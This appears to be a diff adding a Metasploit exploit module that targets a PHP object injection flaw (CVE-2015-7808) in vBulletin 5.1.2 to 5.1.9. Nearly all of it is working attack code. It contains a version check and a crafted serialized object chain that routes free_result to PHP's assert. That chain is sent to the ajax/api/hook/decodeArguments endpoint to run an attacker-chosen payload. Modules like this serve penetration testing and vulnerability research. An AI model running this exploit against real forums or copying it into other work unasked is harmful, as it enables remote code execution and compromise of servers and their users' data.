|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'vBulletin 5.1.2 Unserialize Code Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9 |
| 18 | + }, |
| 19 | + 'Platform' => 'php', |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => [ |
| 22 | + 'Netanel Rubin', # reported by |
| 23 | + 'cutz', # original exploit |
| 24 | + 'Julien (jvoisin) Voisin', # metasploit module |
| 25 | + ], |
| 26 | + 'References' => |
| 27 | + [ |
| 28 | + ['CVE', '2015-7808'], |
| 29 | + ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], |
| 30 | + ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] |
| 31 | + ], |
| 32 | + 'Arch' => ARCH_PHP, |
| 33 | + 'Targets' => [['vBulletin 5.1.2', {}]], |
| 34 | + 'DisclosureDate' => 'Nov 4 2015', |
| 35 | + 'DefaultTarget' => 0)) |
| 36 | + end |
| 37 | + |
| 38 | + def check |
| 39 | + res = send_request_cgi({ 'uri' => '/' }) |
| 40 | + if (res && res.body =~ /Version 5.1./ && res.body =~ /Copyright © 2015 vBulletin Solutions, Inc./) |
| 41 | + return Exploit::CheckCode::Appears |
| 42 | + else |
| 43 | + return Exploit::CheckCode::Unknown |
| 44 | + end |
| 45 | + Exploit::CheckCode::Safe |
| 46 | + end |
| 47 | + |
| 48 | + def exploit |
| 49 | + |
| 50 | + chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:18:"vB_Database_MySQLi":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' |
| 51 | + chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}" |
| 52 | + |
| 53 | + chain = Rex::Text.uri_encode(chain) |
| 54 | + chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding |
| 55 | + |
| 56 | + res = send_request_cgi({ |
| 57 | + 'method' => 'GET', |
| 58 | + 'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'), |
| 59 | + 'vars_get' => { |
| 60 | + 'arguments' => chain |
| 61 | + }, |
| 62 | + 'encode_params' => false, |
| 63 | + }) |
| 64 | + end |
| 65 | +end |
0 commit comments